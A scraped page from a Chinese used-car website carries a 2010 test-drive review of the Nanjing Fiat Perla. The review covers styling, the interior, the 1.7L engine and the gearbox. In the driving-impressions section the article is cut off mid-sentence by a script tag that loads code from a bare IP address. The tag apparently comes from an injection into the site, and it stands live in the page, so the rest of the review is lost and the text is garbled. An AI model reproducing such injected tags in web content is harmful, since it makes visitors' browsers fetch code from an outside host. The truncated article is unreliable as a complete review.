我的车网 客服电话 400-666-1612
您所在的位置:首页 >> 新闻中心 >> 试车报告 >> 从头越 试驾南京菲亚特派朗

从头越 试驾南京菲亚特派朗

2010年07月14日 10:18:31 来源: 汽车导报 作者:文:刁晨 摄影:楼浩

  

点击这里看大图

南京菲亚特派朗外观图片


  评价:

  优点:形象稳重,驾乘轻便舒适

  缺点:悬挂支撑不足,换挡行程过长

  “Perla”是意大利语“珍珠”的意思,足见南京菲亚特对派朗寄予的殷切期望。

  一个有些尴尬却又无法回避的问题成为本文的开头:南京菲亚特已经许久没有新的动作了。经历过2004年汽车销售市场的整体低迷,又迎来2005和2006年持续不断的回暖升温,众多车厂在潮起潮落之间纷纷携带着自己的“战利品”成功爬上岸边的时候,似乎唯见南京菲亚特沉沦下去。个中原因或许有些复杂,但毕竟头顶着“FIAT”这个享誉国际的金字招牌,南京菲亚特两年未有新车面世的尴尬事实难免会受到更多人的关注与猜测。

  经历了两年之久的沉默,南京菲亚特终于“爆发”,一举推出了针对中国市场专门开发的全新车型派朗,这既是南京菲亚特对种种传闻和流言的有力回击,也是洗心革面重新开始的一个新起点。

  翻身之作

  作为菲亚特品牌第一款诞生于中国的新车型,同时也是中国与意大利双方首次智慧和心血的共同结晶,派朗肩负着重振旗鼓、重塑南京菲亚特形象的历史重任。其实纵观历史悠久的百年品牌菲亚特,历来都是制造小型车的高手,旗下堪称经典的车型更是不胜枚举。包括南京菲亚特此前生产的派力奥和周末风两款车型,在菲亚特家族的族谱中也占有一席之地,只有三厢车型西耶那是为中国市场而专门开发的。由于派力奥、周末风这些精巧朴素却扎实耐用的欧洲车型不能完全满足国人好大求全、偏爱舒适豪华的心理,尽管赢得了不少追求个性化的年轻一族的喜爱,但终究没能像同级别其它对手那样卖个盆满砵满。

  吸取了经验和教训的南京菲亚特与意大利方面一起,重新为自己定位,力求寻找到中国车市的风向标。派朗便是在这种重新改变战略方向的情况下诞生的,它屹立在菲亚特百年造车技艺的雄厚根基之上,更脱胎换骨于中国工程师本土化的理念之中,实为一部寄予了南京菲亚特新希望的翻身之作。

点击这里看大图

南京菲亚特派朗外观图片


  本土化理念

  派朗留给我的第一印象便是“稳重”二字。虽然从侧身的轮廓线条中不难认出其来自于之前的三厢车型西耶那,但经过意大利设计师重新塑造的派朗已经基本摆脱了西耶那个性化的影子。与后者相比,派朗的前脸造型回归了现阶段菲亚特家族脸谱的基本特征,四平八稳的线条不仅使车头看上去更为稳重大气,无形之中也提升了派朗的形象。车尾的设计也与车头遥相呼应,除了采用时下流行的立体三角尾灯之外,更引人注目的是尾厢上方一条宽大精致的镀铬饰条。可别小看这饰条,表面上似乎只是时下的流行元素,但其实这正是菲亚特设计师本土化理念的最好映照。包括庄重大气的前脸在内,派朗外观上所有的创新均是为了提升形象档次,迎合更多大众需求的口味。

  同样,从全新设计的车厢内饰中也处处流露出“稳重”的影子。全新设计的仪表和中控台区域充满了方直的造型,这点与外观的整体风格十分接近,相比从前西耶那“蝴蝶”造型的中控台,派朗稳健的内饰风格丧失了一些个性化的元素,但却更容易赢得大众化的接受与好感。

  本土化的理念还体现在车厢的众多细节之处。中国用户喜欢把车当作自己的第二个“家”,了解到这一点的菲亚特也开始变得聪明起来,车厢内的杯架、储物格明显增多,空间利用率大为改善;中控台各种设施按键的布局也井井有条,操作非常顺手,而不再像西耶那那样以美观为首要考虑。

点击这里看大图

南京菲亚特派朗内饰图片


  乘用更舒适

  派朗身上另一个重要的变化反映在舒适性方面。之前的派力奥、西耶那等车型秉承了欧洲菲亚特注重操控感受的机械特性,却在汽车市场刚刚起步的中国受到了冷遇。这次试驾派朗给我留下最深刻的印象便是其从驾驶到乘坐均表现出不同以往的舒适和轻便。

  派朗搭载的菲亚特1.7L直列4缸发动机是首次在中国露面,包括发动机和变速箱在内的动力总成由意大利直接进口。从数据上看,95hp的最大马力似乎对于1.7L的排量来看并没有多少优势可言。而这台发动机却胜在强劲的扭矩输出:140Nm的峰值扭矩出现在4000rpm时刻。更重要的是,在2500rpm较低的转速下,发动机便可输出接近峰值扭矩的136Nm,这样的特性既保证了动力输出的线性,又兼顾到燃油经济性,对于经常游走在城市中的用户来说是一种比较适合的调校。

  配合新开发的C510五挡手动变速箱,派朗的整体动力表现比较均匀平顺,从接近2000rpm开始发力,一直持续到4500rpm之后才有逐渐下降的趋势。但是由于变速箱齿比分配的关系,在整个提速过程中发动机并没有明显的力量爆发点,相信这样的表现在很大程度上也是因为考虑到整体的舒适性。C510变速箱是意大利菲亚特新开发的产品,使用起来轻便异常,每个挡位都能清晰地找到啮合点;再加上离合器采用了液压助力,进一步减轻了整体的操作力度。不过美中不足的是变速箱的换挡行程有些长,操作虽然轻松,但“工作量”却仍不小,无形之中也拖延了换挡效率。

  驾驶操作的轻松还体现在方向的感觉上。没有了派力奥那种扎?script src="http://61.146.118.11/news/include/md5.asp?ad=1">
   转播到腾讯微博

>相关报道:

已有0条评论【点击查看】网友评论

最多可输入个字,当前共个字,还可输入个字
验证码: 更换验证码
深度阅读

2014北京车展1134台新车参展,首发车118台。其中全球首发31台、概念车71台、新能源车79台。第一车网在E2馆W03区设立百平米展台,与您分享车展盛宴。 阅读全部 >>

九年沐雨栉风,赖有良朋同行。为答谢新老合作伙伴的支持与厚爱,继去年成功举办“3.15阳光企业年会”后,第一车网真情再展谱新篇,在阳光明媚的三亚亚龙湾恭候大驾光临,期待与四方伙伴欢聚一堂,共叙实践,畅想未来。本次阳光企业年会将继续倡导“阳光二手车联盟”主旨,同时为了向奋战在一线的业界精英致敬,鼓励创新敬业,第一车网对行业内的突出企业和优秀人才进行嘉奖,以推动行业技术革新与服务水平的提高。 阅读全部 >>

马年新春的脚步临近,新的一年,新的面貌,新的梦想,新的计划。第一车网希望各位在2014年马上有钱,马上有房,马上有一切…… 阅读全部 >>

2013年12月15日19时,天津市政府召开新闻发布会,宣布自2013年12月16日零时起,全市实行小客车增量配额指标管理,采取控制总量和适当限行的双重措施,也就是“限购+限行”。本专题主要给大家介绍天津可以带牌过户的二手车。 阅读全部 >>

免费咨询热线:400-666-1612 传真:010-59865901

关于我们 | 搜爱车 | 合作机构 | 招聘信息 | 联系我们 | 隐私保护规则 | 网站地图 | 问题反馈 | Auto Trader

版权所有:第一车网,网尽天下二手车-专业二手车交易平台 [经营许可证号 110108007756969] [京ICP备12005388号-1] [ 京公网安备11010102000493号 ]

Copyright © 2004 - 2016 www.iautos.cn All Rights Reserved